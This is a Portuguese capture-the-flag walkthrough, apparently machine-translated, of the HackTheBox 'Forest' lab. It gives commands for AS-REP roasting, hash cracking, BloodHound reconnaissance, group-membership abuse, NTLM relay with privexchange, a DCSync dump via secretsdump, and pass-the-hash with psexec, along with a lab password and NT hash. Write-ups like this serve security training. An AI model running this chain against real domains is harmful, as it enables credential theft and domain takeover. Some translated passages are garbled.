Corte a caixa - floresta do procedimento. Torrefação AS-REP, DCSync e ataques Pass-The-Hash

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, trataremos do AS-REP Roasting no esquema de autenticação Kerberos, usaremos o BloodHound para reconhecimento de domínio, realizaremos um ataque do DCSync PrivExchange e o ataque Pass-The-Hash.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.161, que eu adiciono ao / etc / hosts.
10.10.10.161 forest.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

imagem

Havia muitas portas abertas no host e decidi garantir que os resultados fornecidos pelo masscan estivessem corretos. Para fazer isso, basta escanear o estado das portas no nmap.

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

imagem

Mas o nmap confirmou tudo. Em seguida, você precisa coletar mais informações sobre as portas conhecidas pelo nmap.

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

imagem

Em seguida, você precisa obter o máximo de informações possível do sistema. Para isso, usei o enum4linux. Mas ele nos deu pouca informação. Grupos, requisitos de senha, falta de SMBv1 e recursos compartilhados, etc. No entanto, temos uma lista de usuários.

enum4linux -a 10.10.10.161

imagem

Como o Kerberos está em execução no host, é necessário verificar se existe uma conta de usuário com o sinalizador DONT_REQ_PREAUTH definido no UAC. Você pode aprender mais sobre os sinalizadores do UAC e o que eles significam aqui . O sinalizador DONT_REQ_PREAUTH significa que a autenticação Kerberos não é necessária para esta conta.

Primeiro, descubra quais contas de usuário estão ativas. Isso ajudará a tornar o script samrdump incluído no impacket.

impacket-samrdump forest.htb

imagem

imagem

O script exibe primeiro todos os usuários e, em seguida, informações detalhadas sobre cada um deles. Dessa forma, você pode ver que a conta de administrador está ativa e o convidado não. Agora podemos fazer uma lista de usuários ativos.

imagem

Quando temos uma lista de usuários ativos, podemos verificar a disponibilidade da bandeira de que precisamos. Podemos fazer isso usando o script GetNPUsers, que também faz parte do pacote impacket. Especificamos o domínio htb.local, o controlador de domínio 10.10.10.161, o método de autenticação Kerberos (-k), a opção sem senha e a lista de usuários.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

imagem

É-nos dito que esse sinalizador não está definido para todos os usuários, exceto svc-alfresco. Na minha versão do impacket (21-dev), o hash é solicitado automaticamente.

Ponto de Entrada - Torrefação AS-REP


Algumas palavras sobre o que o hash foi devolvido para nós. Abaixo está o esquema de autenticação Kerberos.

imagem

Como você pode ver, no primeiro estágio: o cliente envia uma mensagem com o ID do usuário para o servidor de autenticação AS com a solicitação de serviço em nome do usuário. O AS gera uma chave secreta usando hash na senha do usuário encontrado no banco de dados.

Dessa forma, podemos percorrer o hash e descobrir a senha. Esse tipo de ataque é chamado de AS-REP Roasting. Salve o hash em um arquivo e encontre o protótipo.

john --wordlist=./rockyou.txt hashes2.txt

imagem

E encontramos a senha do usuário.

DO UTILIZADOR


Se você voltar a abrir portas, poderá encontrar um serviço WinRM em funcionamento (ou Gerenciamento Remoto do Windows) projetado para gerenciamento remoto. Temos um nome de usuário e senha, para que possamos nos conectar com segurança. Para isso eu uso evil-winrm .

imagem

Então pegamos o usuário.

RAIZ


Inteligência com BloodHound


Agora precisamos aumentar nossos privilégios. Para mapear os caminhos do LPE em um domínio, você pode usar o programa BloodHound .

O Evil-winrm permite fazer upload de arquivos de e para o host. Carreguei no host SharpHound - um módulo para coletar informações.

imagem

Também evil-winrm permite executar scripts do PowerShell. Indicaremos o usuário, a senha e também queremos saber tudo o que é possível.

imagem

Após a execução do script, um arquivo zip aparecerá no diretório atual. Fazemos o download do host.

imagem

Em seguida, execute o DBMS do gráfico neo4j com o qual o BloodHound trabalha.

neo4j console

imagem

Agora execute o BloodHound. Uma tela em branco nos encontrará.

imagem

Agora basta arrastar e soltar o arquivo baixado nele. E vá para a guia Consultas.

imagem

E dizemos que queremos encontrar os caminhos mais curtos para os administradores do domínio. O BloodHound criará um gráfico - o caminho para o nosso progresso consistente. Ao clicar em cada nó da rede, receberemos informações sobre ele.

imagem

Assim, somos informados de que deveríamos nos tornar um membro do grupo Permissões do Windows do Exchange, porque somos tratados com as Contas de Serviço do grupo privilegiado e somente então podemos aumentar os privilégios.

net user svc-alfresco

imagem

O usuário não está neste grupo atualmente. Vamos adicioná-lo e depois verificar os grupos de usuários.

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

imagem

Usuário adicionado ao grupo com sucesso. Agora vamos ver o que isso nos dá. O grupo Permissões do Windows do Exchange possui direitos WriteDACL (direitos para conceder direitos) ao objeto Domínio no Active Directory, o que permite que qualquer membro do grupo altere os privilégios do domínio, incluindo operações do DCSync.

DCSync


Um pouco sobre o ataque DCSync. A replicação do Active Directory é o processo pelo qual as alterações feitas em um dos controladores de domínio são sincronizadas com o restante dos controladores no domínio. Após a obtenção das permissões necessárias, podemos iniciar uma solicitação de replicação, o que nos permitirá obter dados armazenados no Active Directory, incluindo hashes de senha.

Ou seja, podemos sincronizar os hashes das senhas de usuário do Active Directory e efetuar logon em qualquer serviço usando os protocolos NTLM (protocolo de autenticação de rede desenvolvido pela Microsoft) ou o Kerberos. O ataque envolve o uso de duas ferramentas, privexchange.py e ntlmrelayx.py do pacote impacket.

Primeiro, execute ntlmrelayx no modo de retransmissão LDAP no controlador de domínio com a conta svc-alfresco.

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

imagem

Todos os serviços estão em execução e aguardam uma conexão. Agora use o privex.

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

imagem

E então eu cometi muitos erros, remexendo alguns minutos, foi decidido não corrigi-los. Você pode seguir o link acima no navegador e passar a autenticação com credenciais svc-alfresco. Na janela com ntlmrelayx, veremos as informações de conexão.

imagem

Agora execute o ataque DCSync usando secretsdump.

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

imagem

Bem. Conseguimos replicar todas as contas.

Ataque Pass-o-Hash


Esse ataque permite que um invasor efetue login em um servidor remoto autenticado usando o protocolo NTLM ou LM.

Nos sistemas que usam o protocolo de autenticação NTLM, as senhas nunca são transmitidas em texto não criptografado por um canal de comunicação. Em vez disso, eles são transferidos para o sistema apropriado (como um controlador de domínio) na forma de hashes no estágio de resposta no esquema de autenticação de pergunta e resposta.

Os aplicativos do Windows solicitam a senha do usuário de forma clara e, em seguida, chamam a API (por exemplo, LsaLogonUser), que converte a senha em um hash LM e NTLM e as passa durante o processo de autenticação. A análise dos protocolos mostrou que, para uma autenticação bem-sucedida, não é necessário conhecer a senha de forma clara; apenas seu hash pode ser usado.

O ataque é baseado em uma fraqueza na implementação do protocolo de autenticação de rede. Consiste no fato de que os hashes de senha são transmitidos sem o uso de salt e, portanto, permanecem inalterados de sessão para sessão (até que a senha do usuário seja alterada). Em outras palavras, para um invasor, os hashes de senha são equivalentes às próprias senhas.

Realize um ataque usando o psexec.

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

imagem

Estamos em um sistema com plenos direitos.

Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles